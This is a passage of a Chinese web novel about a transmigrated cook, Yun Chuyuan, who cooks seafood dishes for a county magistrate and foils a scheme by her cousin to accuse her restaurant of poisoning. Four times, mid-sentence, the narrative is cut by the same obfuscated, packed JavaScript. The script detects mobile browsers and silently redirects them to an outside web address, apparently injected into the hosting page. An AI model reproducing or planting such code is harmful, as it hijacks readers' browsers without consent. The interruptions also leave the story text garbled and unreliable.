虾头熬油，这样做出来的炒饭更香，云楚沅往热油中倒入鸡蛋液，快速滑散后盛出，锅中再补少许油，大火翻炒米饭，期间用锅铲压散，再放入虾仁、鱿鱼和其他配菜。 “炒饭时，要全程用大火，小火会让米饭吸水粘连。”云楚沅一边熟练地颠锅，一边对朱师傅说。 “然后调味，撒盐和葱花，酱油要最后放，以免粘锅。”云楚沅将金黄诱人、粒粒分明的炒饭盛到盘中，一锅海鲜蛋炒饭份量十足，总共装了三大盘。 云楚沅将其中一份递给朱师傅，叫他尝尝味道。 朱师傅舀了一勺炒饭塞进口中，蛋香和米香交融的味道瞬间在嘴里蔓延，鸡蛋焦香松软，米饭干爽又有嚼劲，虾仁和鱿鱼圈鲜甜爽脆，葱花等配菜又能中和掉油腻感。 这份海鲜蛋炒饭完全可以用完美来形容。 “小云，你真是个烹调高手，我自愧不如啊。”朱师傅感慨道。 若说从前他还会为自己能做两样拿手好菜而沾沾自喜，如今他已经没有了那样肤浅的想法，他对烹饪之道的钻研远远不够，他要学的还有很多。 “多谢你，小云，我受益匪浅。”朱师傅对云楚沅的倾囊相授感激不已。 他抓了抓腮，犹豫开口：“小云啊，你收不收徒？我能拜你为师吗？” 朱师傅厚着脸皮提出拜师的请求，他年长云楚沅两轮，拜个小女子为师确实叫人有些难为情。 云楚沅面露惊讶，她想不到在这封建的古代，会有男子主动向女子拜师的，着实叫她刮目相看。 “朱师傅，你真的想好了？不怕别人笑你？” “我正儿八经学手艺，谁敢笑话老子！”朱师傅扯着大嗓门喊道。 膳房里的下人们纷纷低下头，走远了几步，装作什么都没听见的样子，不少人心里却在想，啊！我也想和云姑娘学厨艺呀！ 云楚沅并不知道县衙里，上到衙役捕快，下到丫鬟小厮，都对她有很厚的滤镜，她做的美食已经在不经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860575|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意间征服了所有人。 —— “裴大哥，你方才用的那一个招式好帅呀，能教教我吗？” “好，我为你示范一遍，出剑时，脚蹬地，扭动腰肢，带动肩部，手腕发力，刚柔并济，一气呵成。” 云楚沅端着吃食寻到后花园时，就撞见裴昱臣手持长剑、衣摆飞扬的样子，翩若惊鸿，婉若游龙。 他的身姿遒劲有力，宛如青松傲立，一身黑色劲装贴合着他修长的身形，腰间紧束的玄色腰带，把他劲瘦的腰身完美勾勒。 结实的胸膛随着他的一举一动，缓缓起伏，隐约能看出衣裳下藏着的薄肌富有弹性，且充满力量感，再往下，那窄腰，线条流畅而优美，如同被精心雕刻过。 舞剑时的裴昱臣减了几分书生气，多了几分英气。 云楚沅眼也不眨地欣赏了一会，看不出来呀，这小书生身材还挺好，想必就是那种穿衣显瘦、脱衣有肉的类型。 裴昱臣收了招式，挽了个剑花，回过神来，正好对上云楚沅直勾勾的目光，他心头一跳，莫名有些羞躁，不知为何，她的眼神像是要吃人一般。 “咳，楚沅，你来啦。”裴昱臣轻握住左手，抵在唇边，清了清嗓子，装作一副镇定的样子，目光温和地与来人对视。 云楚沅收起直白的眼神，扬起一个甜甜的笑容，“裴大哥，用膳了，我做了海鲜蛋炒饭。” “嗯，跟我来吧。”裴昱臣转身往花园中的凉亭走去。 云楚沅跟在后面，眼神像扫描仪一样，上下扫视着他的背影，嗯，宽肩窄腰，身材不错。 欣赏美男，人之常情嘛。 将手里的托盘放到石桌上，云楚沅把膳食端了出来，除了一大盘海鲜蛋炒饭外，还有一碟香辣蟹和一碟辣炒章鱼，新菜也要给他尝一尝的。 “裴大哥，这是我的食肆新上的吃食，不知你能吃得了辣菜吗？” 拎着裙摆坐下的云楚沅，又变回了明眸皓齿的甜美模样，她发现自从穿越到古代以后，她对伪装淑女越来越娴熟了，尤其是面对裴县令这样的文人，总是不由自主地模仿高门小姐的端庄仪态。 云楚沅心想，她这也算是入乡随俗了。 裴昱臣看着两盘红彤彤的菜品，面不改色道：“尚可。” “那便好，我们就在此处用饭吧，这里风景宜人，瞧着心情都好了不少。” 云楚沅又对云楚河说道：“小妹的膳食我已经送到她房里了，你也在这里吃吧。” “好的，阿姐。” “裴大哥，楚河非要来看你练剑，他有没有给你添麻烦呀？” 裴昱臣摇摇头：“未曾，楚河想学剑，我可以教他。” “裴大哥，你又是教他识字，又是教他武艺的，我都不知如何报答你，明明我是来做厨娘的，领着月钱还占了你不少便宜。”云楚沅将鬓边的发丝别到耳后，不好意思地笑了笑。 “无碍，你的手艺又岂是区区几两银子能买得了的呢？” 听了这话，云楚沅心里十分熨贴，这小书生嘴真甜。 22. 海菜包子 云楚沅津津有味地吃着饭，一抬眼便看见裴昱臣脸颊泛红，像是抹了胭脂一样，几滴汗珠从他的额头渗出。 “裴大哥，你怎么了？”云楚沅满脸疑惑，发现他的筷子正夹着一块辣章鱼时，她恍然大悟，“裴大哥，你是不是不能吃辣呀？” 裴昱臣故作淡定地喝了杯茶，说道：“我只是以往很少吃辣。” 若不是云楚沅离得近，能听到他小声吸气的声音，她差点就要信了。 他那原本浅淡的唇色，现在红得似要滴出血来，那一抹绯红正微微擅抖。 云楚沅轻笑一声：“裴大哥，你的嘴唇在抖诶，有那么辣吗？” 吃得正香的云楚河抬起头来，朝裴昱臣说：“裴大哥，你吃快一点，就感觉不到辣了，我就是这样，嘴都麻了。”说完，他又夹了一只香辣蟹。 “你这小子，少吃点！”云楚沅对小弟这种自虐式的吃法感到头疼，她将云楚河嘴边的螃蟹抢了过来，“好吃也不能贪多，小心吃坏肚子！” “不嘛，我就要吃，这叫痛并快乐着，还是阿姐你教我的呢！”云楚河振振有词。 这句话是云楚沅在云记食肆忙得团团转的时候说的，本来是指她赚钱很累，但数银子很开心，想不到被这臭小子学了去，用来怼她来了。 云楚沅无可奈何，只能随他去了，反正两道辣菜也没剩多少了，吃不出什么毛病来。 “裴大哥，你多吃点海鲜蛋炒饭吧。”云楚沅又为裴昱臣盛了一碗饭，把香辣蟹和辣炒章鱼端离了他面前。 这两人，没一个让人省心的！ “多谢。”裴昱臣吃了口炒饭，缓解辣意，他心中叹了口气，暗道，以后再也不逞能了。 —— 翌日清晨，云楚沅早早来到膳房和朱师傅一起做早膳。 “小云师傅早安，你准备做什么早膳？” “朱师傅早，我打算做海菜包子。” 昨日朱师傅提出拜师的要求，云楚沅并未答应，一来两人年龄悬殊过大，她不好意思叫年纪能当她爹的人徒弟，二来她忙着店铺的事，实在没时间教徒弟。 如今，两个人互相尊称一句师傅，算是志同道合的友人，经常交流一些做饭的经验。 不过，朱师傅自觉受了云楚沅的恩惠，他时常会给她送礼，有自己做的吃食，还有胭脂水粉，云楚沅不好拂了他的意，照单全收了。 “小云师傅，我去和面，你来调馅吧。”朱师傅安排好分工，他比较擅长做面食，和面对他来说小菜一碟。 海菜包子的馅料主意包含猪肉、裙带菜、胡萝卜和虾米，云楚沅将食材准备好，胡萝卜剁碎，裙带菜焯水后切碎，虾米泡发后切碎，猪肉切成小丁，加姜末和酱油腌制半刻钟。 肉馅少量多次地加入葱姜水搅打，再用盐、酱油和蚝油做基础调味，除此之外，云楚沅还炸了几瓣蒜，拌入馅料中增香提味。 “面团醒好了。”朱师傅端着盆走了过来，他揉好的面团光滑有弹性，做的非常成功。 云楚沅将面团排气后分成一个个小剂子，用擀面杖把它们擀成中间厚、边缘薄的圆皮。 她把包子皮置于左手手心，舀上满满一勺肉馅，右手的拇指和食指交替捏出褶子，收口处捏紧，包子呈现麦穗的样式。 云楚沅和朱师傅带领伙夫们一起包，他们动作极快地包出上百个包子，毕竟县衙里有几十号人，一人分两个都不够吃的。 包好的包子再醒发一会儿，体积变大，冷水上锅蒸半刻钟，面皮松软、肉馅鲜美的海菜包子就可以出锅了。 热气腾腾的蒸笼一打开，那股鲜味扑鼻而来，趁热掰开，咬上一口，柔软的面皮包裹着海菜肉馅，带着一股大海的味道，海菜的爽脆与肉馅的多汁，令人欲罢不能。 “嗯，这海菜包子一点也不腥，好吃！”朱师傅连吃了两个还意犹未尽，要不是数量有限，怕衙役们不够分的，他肯定要多吃几个。 “裙带菜焯水去除腥味，再过凉水能保持其爽脆的口感，这样做出来的包子没有异味并且口感极佳。”云楚沅将小窍诀告诉了他。 之前裴昱臣抱怨过朱师傅做的海鲜腥味重，这其实是这里大多数厨子的通病，总结原因就是不会处理海鲜。 云楚沅前世和水产品打了多年的交道，深谙此道。 她又为朱师傅讲了几个处理海鲜的小技巧，比如用刀尖为大虾开背，剔除虾线；贝类用加了铁钉的淡盐水浸泡，模仿海里的环境促进其吐沙；还有螃蟹要用刷子仔细刷去污垢，蟹嘴、蟹心、蟹肺、蟹腮要统统去掉。 这些脏东西不仅影响海鲜的风味，更重要的是会对人体有害，古人可能不懂这些道理，可云楚沅一说这样做能够减少腹泻、腹痛等不良反应，朱师傅就理解了。 享用过一顿美味的早膳，云楚沅独自一人去了食肆，云楚河沉迷于跟在裴昱臣的身后打转，云楚沅索性就将小弟和小妹两人都留在了县衙。 云记食肆已经开门了，钱婶和钱春香两人暂时住在后院新搭建的茅草屋里，免去了从临海县到小渔村来回奔波的麻烦。 “小沅，你来啦，今日的食材我都处理好了。”钱婶早早就在后面干起了活，钱春香也一起帮忙，她们一个月拿三两银子的月钱，可不能偷懒。 “辛苦你们了，还没吃早膳吧，这是我刚做海菜包子，给你们尝尝。”云楚沅打开纸包，里面躺着的白花花的包子还在冒着热气。 钱婶拿起一个来，三两口就吃完了，“真不错！” “好吃。”钱春香双手捧着包子，一小口一小口地咬着，时不时回味一番。 云楚沅见她们两个吃得香，就让她们坐着休息一会，她将海鲜粥和金鱼饺提前预制好，等到中午就可以直接开卖了。 今日的生意依旧很好，新上的香辣蟹和辣炒章鱼同样很受欢迎。 正逢午时，众多食客在大堂内用饭，云记食肆的门外出现了意外的插曲。 “该死的云记食肆，你们害人不浅啊，竟然往饭菜里下毒！” “大家快来看看啊，出人命啦，我男人吃了这家的香辣蟹后，起了一身红疹啊。” 门口嘈杂的吵闹声吸引了路人的围观，食客们都停止用餐，纷纷向外张望，云楚沅听到消息出来时，就发现自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860576|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺子被围得水泄不通，许多人对着她指指点点。 “瞧瞧，就是她，听说她卖的吃食有毒。” “哎哟，看那个躺在地上的汉子，脸上全是密密麻麻的红疹子，已经出气多进气少了。” “做亏心买卖，真是丧尽天良呀。” “看着是个水灵灵的小姑娘，想不到心肠这么坏！干的什么缺德事呀！” 跟在后面出来的钱婶和钱春香慌了神，她们第一次遇到这样棘手的情况。 “小沅啊，这可如何是好？”钱婶紧紧攥住云楚沅的衣袖，她不清楚眼前这两个人说的是真是假，可万一云记食肆出事了，她也得卷铺盖走人，不管是为楚沅，还是为自己，她都不想云记食肆倒闭。 钱春香声音颤抖地说：“我们做的吃食都是很干净的，肯定不是我们的问题。” 云楚沅抿着红唇，打量着躺在地上哼哼唧唧的男人，镇定地判断着眼前的情形，她对跪在一旁哭天喊地的妇人说道：“你有什么证据，他是吃了我家的吃食才会变成这样的？” 妇人一听这话，顿时哭嚎起来：“你这丧尽天良的女人，我男人都成这副样子了，我还能说谎不成，他昨日申时在这吃的饭，肯定有不少人看见了！” 这时，人群后方传来三两道声音。 “我瞧见过他，昨日他就坐在靠近门口那张桌子。” “我也记得他，他点了一道香辣蟹和一份牡蛎煎饼。” 有人作证，现场的气氛再次被烘托了上去，路过的人都是看热闹不嫌事大的，他们全都对着云楚沅指责了起来。 “小姑娘，人家有人证，你没话说了吧！” 云楚沅不为所动，她低声询问钱春香：“你对这人有印象吗？” 钱春香想了半天也没想起来，她声音失落地说道：“对不起，小沅，我不记得这个人。” “没事。” 这个回答在云楚沅的意料之中，春香姐一天要接待几十个客人，怎么会每一个都记得，反倒是人群中浑水摸鱼的几人才奇怪，正常人会留意吃饭时同在食肆里的客人的长相吗？ “既然你非说是我们的吃食有毒，可曾请大夫诊治过？你男人的情况都这么严重了，你不把他抬到医馆去，反而抬到我这里，是打着讹钱的算盘吗？” 云楚沅的这番话一出，路人们都觉得有道理。 “对呀，你都没请大夫，怎么知道他是中毒的？” “就是就是，你男人要是真快不行了，怎么还有力气叫唤？” 妇人的哭声一顿，继续撒泼打滚，“我不管，就是你害得我相公，赶紧赔钱，不然我去县衙告你！” 云楚沅讥笑一声：“哼，胡搅蛮缠，我身正不怕影子斜，你只管去告，我相信裴大人会还我一个清白，他可是我们临海县的青天大老爷！” 此话一出，围观群众全都怂恿妇人去报官，在他们看来，裴县令是最公正不过的了。 妇人没料到报官这话没吓到云楚沅，反倒令自己骑虎难下，正当她不知所措之际，后方传来一阵高喊。 “让一让，让一让，我把大夫请来了！” 23. 表姐 钱婶从人群中钻了出来，走到云楚沅的身边时向她使了个眼色，示意她事情办好了。 原来，云楚沅早就悄悄派人去叫大夫了。 “咳，老夫是仁医堂的，让我为他把把脉。”头发花白老者步履蹒跚地走近。 众目睽睽之下，妇人不情不愿地让出位置。 “嗯……你这风疹应当是吃了不适宜的东西所致。”大夫捋着白须，缓声说道。 “看，我就说了，是这云记食肆的吃食有毒！”妇人立马叫嚷了起来。 云楚沅冲她翻了个白眼：“我家吃食吃过的人多了去了，怎么偏偏就你男人有事？你也不想想是谁的问题。” 妇人还不服气，刚要反驳，就被老大夫打断了。 “我说的不适宜，是指他不能吃，有些人的体质特殊，吃不得某些特定的食物，好好想想他吃了什么从未吃过的东西吧。” 围观群众一听，大概明白了大夫的意思，合着是你自己体质不行啊。 “我听说过这种事，我邻家的婶子就吃不得所有带壳的东西，像什么虾呀、螃蟹呀，她一吃就起红疹。” “嘿，我就说为啥我一吃鸡蛋就皮肤瘙痒，浑身难受呢。” “什么，还有这等奇事？那以后用饭可得注意了。” “诶，大夫，这种病严重不？要怎么治呀？” 老大夫笑眯眯地回答：“诸位不必担心，这种情况只会发生在极少数人的身上，而且也不会传染，吃两帖药就好啦。” 云楚沅露出了然的神色，这症状不就是过敏吗！只要找到过敏原，以后远离就行。 “婶子，你还是好好想想你相公吃了什么不该吃的吧，可别什么脏水都往我云记食肆上泼。” 妇人的脸色变了变，小声说道：“我相公以前没吃过茱萸。” “这就对了，你跟我去仁医堂拿两副药，用在他身上，这些疹子过两日就能好了。” 闹事之人走了，围在门口的人们也相继散去，云记食肆又恢复正常营业，食客们围观了全程，也知道云楚沅是被无辜牵连的，纷纷出声安慰。 “小娘子，别放在心上，我在这连着吃了好几日了，最清楚你家吃食是没问题的。” “没错，这件事大伙都看在眼里，要是再有人瞎咧咧，我们都会帮你澄清的。” “别人说什么都没用，海鲜吃食我就认准你们云记了！” “你们云记食肆的饭菜就是吃不腻，以后我还会常来的。” 众人的称赞让云楚沅松了口气，造谣一张嘴，辟谣跑断腿，她就怕别人以讹传讹，影响了云记食肆的生意，这些食客们能为她仗义执言，她感激不尽，还是好心人多呀。 “承蒙各位厚爱，出了这档子事也影响大家用饭的心情了，我做主，在场诸位结账时打八折，另外一人送一份海鲜粥，望大家吃好喝好。”云楚沅高声说道。 “好，云老板大气，我再点两道菜！” “我也要，我也要。” 云楚沅的话引起了骚动，客人们纷纷多加了几道菜，有便宜谁不爱占呢？ 虽然这场闹剧落下了帷幕，可云楚沅总觉得不对，今日之事处处透着古怪，仿佛有一只手在背后推动，不管是什么人在捣鬼，总会露出马脚。 —— 裴昱臣不是每日午时都有空来食肆吃饭，他会遣青竹来云记食肆取膳食，云楚沅提前用食盒装好了吃食，想着他吃不了辣，她特意做得清淡了些。 今日的午膳做了葱油蛏子和凉拌海蜇，焯过水的蛏子淋上调好的汁液，再撒一把葱花淋上热油，激发出香味，海蜇丝用蒜末、酱油、醋、糖调味，这两道菜的做法都非常简单。 “云姑娘，这道菜脆脆的，真好吃。”青竹来取食盒，趁机蹭了顿饭。 时隔多日，他终于又吃上了云姑娘做的饭，她在县衙做的膳食每回都被衙役们瓜分光了，完全轮不到他们下人去吃。 想到自己大人下过的命令，青竹不由向云楚沅抱怨：“云姑娘，你都不晓得裴大人多霸道，他想一个人霸占你做的吃食，不准下人们收你送的东西。” 云楚沅微微一愣，难怪西院的洒扫丫鬟都不收她送的吃食，原来是裴昱臣不允许啊，她摇头失笑，“既如此，就听你们大人的吧。” 青竹撇了撇嘴，他和云姑娘告状本意是想请她出面劝劝大人，没想到她也支持大人的决定，他丧气地低下了头。 “对了，你可要督促裴大哥按时用膳，我瞧见过他好多回忙于公务忘记用饭了，这样可对身体不好。”云楚沅叮嘱道，再怎么样也不能废寝忘食呀，小书生身上本来就没有几两肉，饿瘦了可不行。 “我晓得了。”青竹点点头，提着食盒离开了，临走出云记食肆时，正巧听见食客们在讨论先前发生的事，遂记在了心上。 —— “大人，膳食取来了。”青竹将双层食盒打开，将每一碟菜摆放到木桌上。 “先放着吧，我待会吃。”裴昱臣头也不抬地说道，他正在整理近期处理过的冤假错案。 老县令当真不干人事，断案不讲证据全凭臆想，这几日击鼓鸣冤的百姓不少，都是请求裴昱臣重新审理案子的，虽然是些鸡毛蒜皮小事，他也全都认真对待。 “呃……大人，云姑娘让我转告您要按时用膳，别忙坏了身子，得不偿失。” 裴昱臣拿着毛笔书写的动作一顿，自从母亲离世后，还是头一回有人说这话，他不免有些晃神，“好，那就先用膳吧。” 他合上竹简，起身来到摆满吃食的桌子旁坐下，拿起筷子吃了起来。 今日的菜品主打一个清脆爽口，裴昱臣吃得满足。 “大人，小的还有一事要禀报。”见裴昱臣吃得差不多了停下筷子，青竹想将云楚沅遇到的麻烦事告知大人，毕竟他家大人和云姑娘看起来关系不错，这种事还是别瞒着了。 “何事？”裴昱臣一边漱口，一边问道。 “今日有人去云记食肆闹事，意欲污蔑云姑娘在饭菜里投毒。” “嗯？竟有此事，你细细说来。”裴昱臣拧眉，他的画像不是已经被挂在云记食肆的墙上了吗，怎么还会有不长眼的人欺负她。 青竹将听来的事一五一十地道了出来，包括最后云楚沅是怎样解决的也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860577|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一并说了。 裴昱臣左手支着下颌，右手食指敲击桌面，开口道：“青竹，你去查查是怎么一回事。” 同样的，裴昱臣一听这事的经过，就明白了其中的蹊跷，这事并非巧合，定是有人刻意针对云记食肆。 “是。”青竹领命退下了。 而云楚沅那一边先一步知道了真相，只因她收到了一份邀约，有人约她在湘香馆二楼雅间见面。 午后，云楚沅决定赴约，她想知道是谁盯上了她。 湘香馆作为临海县最好的酒楼，装潢还算不错，实木桌子雕刻着精美的花纹，墙上挂着各种花鸟山水的画，楼梯上摆放着一盆盆花卉。 “叩叩叩！” “进来。” 门内传来一道女声，云楚沅推门进了雅间。 “表妹，许久不见。” 说话的女子身穿粉色绸缎长裙，面上妆容艳丽，盘起的发髻上插着一只珠钗，她掀起眼皮瞧了一眼云楚沅，眼底闪过一抹恶毒。 云楚沅看着女子似曾相识的面容，一下子愣住了，她的脑海里回忆起了她的身份——何艳艳，正是她那个舅母的女儿。 这位表姐的变化不可谓不大，以前的她仗着有个泼辣的亲娘，向来是耀武扬威的，如今的她穿着打扮金贵了不少，却难掩那股阴郁之色。 舅母被她送进大牢后，云楚沅算是和舅舅家彻底断绝了关系，她也没有刻意去打听何家的事，他们家的人不仁在先，那就别怪她不义在后。 “表妹，你的日子过得不错呀，都开上食肆了？”何艳艳似笑非笑，语气古怪。 云楚沅敛了敛心神，不管这位表姐想干什么，她都将以不变应万变，“表姐看起来更好啊，都能穿金戴银了。” “呵，你很羡慕？”何艳艳脸色阴沉，声音沙哑地喊道：“云楚沅，要不是因为你，我怎么会到徐家做妾！” 徐公子的通房和小妾两只手都数不过来，何艳艳进了徐家门，整日生活在水深火热之中，和后宅的女人明争暗斗，比她貌美的妾室多的是，她又不得徐少爷宠爱，日子很不好过。 云楚沅面不改色：“关我何事？” 何艳艳用怨怼的眼神看着她，恨不得生啖其肉，“你怎么就不能乖乖听话呢？你害了我娘，我爹也已令娶，为了不得罪徐家，他把我送给了徐公子做妾，你这个罪魁祸首竟敢说和你无关？” 这人好厚的脸皮，明明是他们一家人算计她不成，落得了罪有应得的下场，不想想自己的所作所为，反倒是埋怨起她来了。 云楚沅冷笑一声：“哼，这都是你们自找的，敢对我起歪心思，就别怪我鱼死网破。” 何艳艳呼哧呼哧地喘着粗气，显然被她气得不轻，“好，你好的很！云楚沅，没有裴大人，你算什么？你如此嚣张，不就是仗着有裴县令撑腰吗？我告诉你，今日之事只是开始，我不好过，你也别想好过！” 这是要向她宣战呀，云楚沅明白了何艳艳约她来的意思，这位表姐把自己不幸的原因归结到了她的身上，所以满腔怒火地想要报复她。 人不犯我，我不犯人；人若犯我，我必犯人。 24. 一箭双雕 与何艳艳不欢而散后，云楚沅回到了云记食肆，虽然她气势不减地向对方放下狠话，可她心里也没太有底。 这个表姐再怎么不得宠，那也已经是徐少爷的人了，她要是吹吹耳旁风，叫徐少爷想起了自己这号人，那她以后的日子就不得安生了。 云楚沅感到一阵头疼，她就想好好地做生意，怎么麻烦事总是接踵而至呢。 “楚沅，是谁找你？”钱婶见她一副愁眉不展的模样，出声问道。 “我表姐何艳艳。”云楚沅努了努嘴，把何艳艳跟她说的话重复了一遍，说给钱婶听。 钱婶就像是在听话本上的故事一样，脸色随着变化，“嚯，原来今日来闹事之人是被她收买了，她可真够坏的。” 在民风淳朴的小渔村，最坏的人也就像刘家婆娘那样背后说点坏话，从来都没有断人财路、害人性命的。 包藏祸心的何艳艳令钱婶唾弃不已，她娘已经是十里八乡臭名昭著的毒妇了，她还不知悔改，继续陷害别人，真应了那句话，龙生龙凤生凤，老鼠的儿子会打洞，她们母女二人都是一样的坏。 “楚沅啊，你打算怎么办？”钱婶忧心忡忡道，这丫头还真是命途多舛，啥糟心事都能碰上。 “婶子，你就放宽心吧，我自个能解决。实在不行，像何艳艳说的那样，我还有裴县令撑腰呢！”云楚沅俏皮地眨眨眼。 “那便好，有麻烦裴县令肯定会帮你的。”钱婶松了口气。 云楚沅日日将裴昱臣挂在嘴边，耳濡目染之下，钱婶都不觉得将这对未婚男女牵扯到一起有什么不对的了。 嘴上说着会找裴昱臣帮忙，可云楚沅的心里有了一个绝佳的主意，她想起了一个人，一个同样和她不对付的人。 —— 东市，孙大福哼着小曲儿收起面摊。 自从云楚沅不在这里摆摊后，他的生意变好了，再加上云记食肆声名鹊起，他以云楚沅二叔的身份跟着沾上了光，不少人都以为他的摊位也属于云记，没少照顾他的生意。 孙大福暗自得意，他就是这么有做生意的头脑，随随便便仿照着别人做出的吃食就如此赚钱，可惜徐家人有眼无珠，看不到他的才智。 起初他妹子做上徐少爷的通房后，他还沾沾自喜，以为要飞黄腾达了呢。 他以亲家的身份去向徐家讨要差事，没想到徐家人根本不把他放在眼里，直言通房丫鬟是下人，谁会和自家下人攀关系，将他轰了出去。 哼，他这妹子真是不中用，既讨不了徐少爷的欢心，也不知道拉扯娘家人一把，到头来还得靠他自己才能过上好日子。 “砰！” 一声巨响打断了孙大福的浮想联翩，他摊位上的推车被人踹倒，锅碗瓢盆摔了一地。 “哪来的小畜生，敢惹你孙爷爷我？”孙大福勃然大怒，抬头一看，气势瞬间弱了三分，七八个孔武有力的大汉站在眼前，他们双手抱臂，脸膛黑红。 “你想当谁的爷爷？”为首之人张开厚实的嘴唇，瓮声瓮气的说话声宛如敲响的钟。 孙大福点头哈腰，堆起谄媚的笑容，搓着双手说道：“哎哟，各位大爷，是我有眼不识泰山，说错话了，误会，都是误会。” 大汉对他的卑躬屈膝十分看不上眼，大手一把拍到孙大福的肩膀上，用力攥了攥，“小子，你确实不长眼，什么人都是你能得罪的吗？” 孙大福的肩膀矮了下去，他强忍着剧痛，汗涔涔地挤出一个难看的笑容，“大爷，不知小的哪里得罪您了？还请明示，我一定向您赔罪。” “哼，知道我家主子是谁吗？她可是徐家的何姨娘，云记食肆的老板是她的妹妹，你竟敢攀扯云姑娘，活得不耐烦了？” 孙大福脸色大变，他平日里仗着徐家的势作威作福，风水轮流转，这下撞上靠山一样的人了，偏偏他那不争气的妹子低人家一头。 “今日就让你长个记性，什么人能惹，什么人不能惹！” 一群大汉对着孙大福拳脚相加，孙大福抱着头蹲下，瑟瑟发抖，嘴里不停求饶：“我错了，大哥，我错了！以后我再也不敢了！” 一炷香的时间后，孙大福奄奄一息地趴在地上，眼睛肿了起来，嘴角带着淤青。 大汉又踹了他一脚，虎目圆睁，眼中闪烁着凶光，“何姨娘让我转告你，认清自己的身份，你妹子在徐府被她踩在脚下，你也不配学做云姑娘的生意，识相的就赶紧滚！” 孙大福听见大汉们离开的脚步声，撑着身子从地上爬了起来，用力锤了一下地面，眼神阴鸷，狠厉地说道：“何姨娘，你真该死！” 拐角处的云楚沅默默观赏了一下这场好戏，嘴角微勾，这招一箭双雕的计谋，将两个算计她的小人凑到了一起，这下可有热闹看了。 —— 心情颇好的云楚沅决定今日晚膳吃海鲜火锅，食材主要用虾、白蛤、扇贝、海螺、螃蟹、鱼片，搭配白菜、菌菇和豆腐。 她还准备自己动手做一些火锅丸子，比如鱼丸、虾丸和鱼豆腐。 虾丸和鱼丸的做法一致，只是主材料不同。 鱼豆腐是选用无刺的龙利鱼制成的，和葱姜水混在一起搅打成鱼泥，加入蛋清、淀粉、豉汁和胡椒粉上锅蒸，冷却后切块煎至金黄。 食材在盘子里码得整整齐齐，接下来就要准备海鲜清汤底。 虾壳和虾头炼油，锅中倒水，加海带、姜片、萝卜、大葱熬煮。 除了汤底外，蘸料也很重要，云楚沅用酱油、香醋、蒜蓉、胡麻油和葱花调制了一款经典蘸料，她的那一份多加了茱萸。 云楚沅将铜锅端到院子里，裴昱臣跟在她后面端食材，涮火锅的地点选在了裴昱臣的正院。 吃锅子的时候人多才热闹，于是云楚沅带着小弟和小妹来和裴昱臣凑了一桌。 铜锅里的汤底正咕噜咕噜地冒着泡，鲜美且有弹性的火锅丸子和各式各样的海鲜逐个下锅，它们在热汤中翻滚两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860578|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下便熟了，吸饱了汤汁的精华。 “阿姐，可以吃了吗？” 云楚河和云楚清两兄妹早已按捺不住，他们静静盯着锅中的美食。 “尝尝吧，别烫着。”云楚沅一人给他们夹了一个虾丸，两人蘸了蘸调料后送入口中，鲜嫩弹牙的丸子配上浓郁香醇的酱料，融合成一种奇妙的感觉，仿佛有舞者在舌尖上跳跃。 “裴大哥，你也吃。”云楚沅将所有熟了的食材都给裴昱臣夹了一遍，将他的小碟子堆得满满当当。 裴昱臣赶忙用手去拦，温声道：“够了够了，楚沅，别光顾着我们，你先给自己夹吧。” 云楚沅的视线有意无意地瞄向他，笑眯眯地说：“我听青竹说，你这几日都没有按时吃饭，这不得好好给裴大哥你补补身子，你要是削瘦下去，那可是我……我们临海县的重大损失呀。” 差点说岔了，云楚沅差点吐露出自己给他补身子是为了欣赏男色的小心思。 投喂小书生，成了她每日的趣事。 “楚沅，我听说有人到云记食肆闹事，我遣人打听过了，幕后之人是你舅家表姐。”裴昱臣咽下口中的鱼豆腐，说起了正事。 自打和云楚沅一同用膳，裴昱臣打破了不少以往习惯的规矩，比如不再食不言，不再需要下人伺候。 这个性格独特的女子正在潜移默化地影响他，可他却接受了这种改变，裴昱臣想不明白这是为何。 云楚沅狡黠一笑：“我已经知道了。” “哦？看你的样子好像并不担忧。”裴昱臣见她吃得正香，就知道她没将此事放在心上，或者说她已经有了解决的方法。 “我可不是软柿子，任人揉捏，当然会反击的！”云楚沅左手握成小拳头，在空中比划了两下，颇有要和人比试的架势。 